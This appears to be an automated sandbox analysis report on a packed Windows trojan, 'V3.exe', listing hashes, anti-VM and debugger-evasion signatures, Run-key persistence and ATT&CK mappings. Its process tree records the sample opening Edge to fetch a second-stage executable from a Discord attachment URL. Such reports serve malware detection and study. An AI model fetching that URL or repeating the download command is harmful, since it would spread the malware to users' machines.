b64c4f2714358c68077e0000b97ad7ef3810a151a61961a9245e5e54726311e7

Analysis

max time kernel
37s
max time network
40s
platform
windows10-2004_x64
resource
win10v2004-20221111-en
resource tags

arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
submitted
04/02/2023, 11:38

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General

Target

V3.exe
Size

5.2MB
MD5

f96507b4275964e13be1f35e9545bfe3
SHA1

97b81c0e5f642578e3e37883be626a421a2e013f
SHA256

b64c4f2714358c68077e0000b97ad7ef3810a151a61961a9245e5e54726311e7
SHA512

aa0260861d0512dcbfa137b634d172118de1fa3d265a991cf36f6be6ff36f89004b794b02be2d88086061bd023bdaa9025b2e7404aaa5ce33f3e6543265908ea
SSDEEP

98304:x9+lwvlUJXKZNbjaRZOMgAJYZODhbPb0dirJUM5yHwZ+tN:H+O6JanjaRZPFJ0di1d5swgtN

Score

9^/10

evasion persistence themida trojan

Malware Config

Signatures

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	V3.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	V3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	V3.exe

Themida packer 11 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral2/memory/1080-132-0x00007FF62B900000-0x00007FF62C624000-memory.dmp	themida
behavioral2/memory/1080-133-0x00007FF62B900000-0x00007FF62C624000-memory.dmp	themida
behavioral2/memory/1080-134-0x00007FF62B900000-0x00007FF62C624000-memory.dmp	themida
behavioral2/memory/1080-135-0x00007FF62B900000-0x00007FF62C624000-memory.dmp	themida
behavioral2/memory/1080-137-0x00007FF62B900000-0x00007FF62C624000-memory.dmp	themida
behavioral2/memory/1080-138-0x00007FF62B900000-0x00007FF62C624000-memory.dmp	themida
behavioral2/memory/1080-139-0x00007FF62B900000-0x00007FF62C624000-memory.dmp	themida
behavioral2/memory/1080-140-0x00007FF62B900000-0x00007FF62C624000-memory.dmp	themida
behavioral2/memory/1080-141-0x00007FF62B900000-0x00007FF62C624000-memory.dmp	themida
behavioral2/memory/1080-142-0x00007FF62B900000-0x00007FF62C624000-memory.dmp	themida
behavioral2/memory/1080-147-0x00007FF62B900000-0x00007FF62C624000-memory.dmp	themida

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Software\Microsoft\Windows\CurrentVersion\Run	msedge.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	V3.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
1080	V3.exe

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\20230204123841.pma	setup.exe
File created	C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\0b46f499-a6f3-47a2-9ded-d89a01b53266.tmp	setup.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe

NTFS ADS 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\Unconfirmed 851275.crdownload:SmartScreen	msedge.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
852	msedge.exe
852	msedge.exe
224	msedge.exe
224	msedge.exe
4544	identity_helper.exe
4544	identity_helper.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs

pid	Process
224	msedge.exe
224	msedge.exe
224	msedge.exe
224	msedge.exe

Suspicious use of FindShellTrayWindow 14 IoCs

pid	Process
224	msedge.exe
224	msedge.exe
224	msedge.exe
224	msedge.exe
224	msedge.exe
224	msedge.exe
224	msedge.exe
224	msedge.exe
224	msedge.exe
224	msedge.exe
224	msedge.exe
224	msedge.exe
224	msedge.exe
224	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1080 wrote to memory of 224	1080	V3.exe	89
PID 1080 wrote to memory of 224	1080	V3.exe	89
PID 224 wrote to memory of 4232	224	msedge.exe	90
PID 224 wrote to memory of 4232	224	msedge.exe	90
PID 224 wrote to memory of 3188	224	msedge.exe	96
PID 224 wrote to memory of 3188	224	msedge.exe	96
PID 224 wrote to memory of 3188	224	msedge.exe	96
PID 224 wrote to memory of 3188	224	msedge.exe	96
PID 224 wrote to memory of 3188	224	msedge.exe	96
PID 224 wrote to memory of 3188	224	msedge.exe	96
PID 224 wrote to memory of 3188	224	msedge.exe	96
PID 224 wrote to memory of 3188	224	msedge.exe	96
PID 224 wrote to memory of 3188	224	msedge.exe	96
PID 224 wrote to memory of 3188	224	msedge.exe	96
PID 224 wrote to memory of 3188	224	msedge.exe	96
PID 224 wrote to memory of 3188	224	msedge.exe	96
PID 224 wrote to memory of 3188	224	msedge.exe	96
PID 224 wrote to memory of 3188	224	msedge.exe	96
PID 224 wrote to memory of 3188	224	msedge.exe	96
PID 224 wrote to memory of 3188	224	msedge.exe	96
PID 224 wrote to memory of 3188	224	msedge.exe	96
PID 224 wrote to memory of 3188	224	msedge.exe	96
PID 224 wrote to memory of 3188	224	msedge.exe	96
PID 224 wrote to memory of 3188	224	msedge.exe	96
PID 224 wrote to memory of 3188	224	msedge.exe	96
PID 224 wrote to memory of 3188	224	msedge.exe	96
PID 224 wrote to memory of 3188	224	msedge.exe	96
PID 224 wrote to memory of 3188	224	msedge.exe	96
PID 224 wrote to memory of 3188	224	msedge.exe	96
PID 224 wrote to memory of 3188	224	msedge.exe	96
PID 224 wrote to memory of 3188	224	msedge.exe	96
PID 224 wrote to memory of 3188	224	msedge.exe	96
PID 224 wrote to memory of 3188	224	msedge.exe	96
PID 224 wrote to memory of 3188	224	msedge.exe	96
PID 224 wrote to memory of 3188	224	msedge.exe	96
PID 224 wrote to memory of 3188	224	msedge.exe	96
PID 224 wrote to memory of 3188	224	msedge.exe	96
PID 224 wrote to memory of 3188	224	msedge.exe	96
PID 224 wrote to memory of 3188	224	msedge.exe	96
PID 224 wrote to memory of 3188	224	msedge.exe	96
PID 224 wrote to memory of 3188	224	msedge.exe	96
PID 224 wrote to memory of 3188	224	msedge.exe	96
PID 224 wrote to memory of 3188	224	msedge.exe	96
PID 224 wrote to memory of 3188	224	msedge.exe	96
PID 224 wrote to memory of 852	224	msedge.exe	97
PID 224 wrote to memory of 852	224	msedge.exe	97
PID 224 wrote to memory of 1308	224	msedge.exe	99
PID 224 wrote to memory of 1308	224	msedge.exe	99
PID 224 wrote to memory of 1308	224	msedge.exe	99
PID 224 wrote to memory of 1308	224	msedge.exe	99
PID 224 wrote to memory of 1308	224	msedge.exe	99
PID 224 wrote to memory of 1308	224	msedge.exe	99
PID 224 wrote to memory of 1308	224	msedge.exe	99
PID 224 wrote to memory of 1308	224	msedge.exe	99
PID 224 wrote to memory of 1308	224	msedge.exe	99
PID 224 wrote to memory of 1308	224	msedge.exe	99
PID 224 wrote to memory of 1308	224	msedge.exe	99
PID 224 wrote to memory of 1308	224	msedge.exe	99
PID 224 wrote to memory of 1308	224	msedge.exe	99
PID 224 wrote to memory of 1308	224	msedge.exe	99
PID 224 wrote to memory of 1308	224	msedge.exe	99
PID 224 wrote to memory of 1308	224	msedge.exe	99
PID 224 wrote to memory of 1308	224	msedge.exe	99
PID 224 wrote to memory of 1308	224	msedge.exe	99

C:\Users\Admin\AppData\Local\Temp\V3.exe
"C:\Users\Admin\AppData\Local\Temp\V3.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of WriteProcessMemory
PID:1080
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://cdn.discordapp.com/attachments/858213151794528287/875357618229628978/V6.exe
  2⤵
  - Adds Run key to start application
  - Enumerates system info in registry
  - Modifies registry class
  - NTFS ADS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:224
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd4,0x108,0x7ffd617546f8,0x7ffd61754708,0x7ffd61754718
    3⤵
    PID:4232
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2108,11610915878968262305,14430710906185752081,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2144 /prefetch:2
    3⤵
    PID:3188
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2108,11610915878968262305,14430710906185752081,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2412 /prefetch:3
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:852
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2108,11610915878968262305,14430710906185752081,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2104 /prefetch:8
    3⤵
    PID:1308
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,11610915878968262305,14430710906185752081,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3396 /prefetch:1
    3⤵
    PID:4676
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,11610915878968262305,14430710906185752081,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3476 /prefetch:1
    3⤵
    PID:4732
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2108,11610915878968262305,14430710906185752081,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4688 /prefetch:8
    3⤵
    PID:772
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2108,11610915878968262305,14430710906185752081,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4980 /prefetch:8
    3⤵
    PID:640
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2108,11610915878968262305,14430710906185752081,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=5820 /prefetch:8
    3⤵
    PID:5072
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,11610915878968262305,14430710906185752081,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5840 /prefetch:1
    3⤵
    PID:4736
- - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2108,11610915878968262305,14430710906185752081,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6272 /prefetch:8
    3⤵
    PID:1864
- - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --configure-user-settings --verbose-logging --system-level --msedge --force-configure-user-settings
    3⤵
    - Drops file in Program Files directory
    PID:1296
  - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\MsEdgeCrashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x220,0x224,0x228,0x1fc,0x22c,0x7ff6c52e5460,0x7ff6c52e5470,0x7ff6c52e5480
      4⤵
      PID:2828
- - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2108,11610915878968262305,14430710906185752081,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6272 /prefetch:8
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4544
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,11610915878968262305,14430710906185752081,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3516 /prefetch:1
    3⤵
    PID:1152

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2356

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1080-139-0x00007FF62B900000-0x00007FF62C624000-memory.dmp

Filesize
13.1MB

Download
memory/1080-132-0x00007FF62B900000-0x00007FF62C624000-memory.dmp

Filesize
13.1MB

Download
memory/1080-143-0x00007FFD80690000-0x00007FFD80885000-memory.dmp

Filesize
2.0MB

Download
memory/1080-145-0x00007FFD80690000-0x00007FFD80885000-memory.dmp

Filesize
2.0MB

Download
memory/1080-136-0x00007FFD80690000-0x00007FFD80885000-memory.dmp

Filesize
2.0MB

Download
memory/1080-142-0x00007FF62B900000-0x00007FF62C624000-memory.dmp

Filesize
13.1MB

Download
memory/1080-134-0x00007FF62B900000-0x00007FF62C624000-memory.dmp

Filesize
13.1MB

Download
memory/1080-141-0x00007FF62B900000-0x00007FF62C624000-memory.dmp

Filesize
13.1MB

Download
memory/1080-140-0x00007FF62B900000-0x00007FF62C624000-memory.dmp

Filesize
13.1MB

Download
memory/1080-138-0x00007FF62B900000-0x00007FF62C624000-memory.dmp

Filesize
13.1MB

Download
memory/1080-147-0x00007FF62B900000-0x00007FF62C624000-memory.dmp

Filesize
13.1MB

Download
memory/1080-135-0x00007FF62B900000-0x00007FF62C624000-memory.dmp

Filesize
13.1MB

Download
memory/1080-137-0x00007FF62B900000-0x00007FF62C624000-memory.dmp

Filesize
13.1MB

Download
memory/1080-133-0x00007FF62B900000-0x00007FF62C624000-memory.dmp

Filesize
13.1MB

Download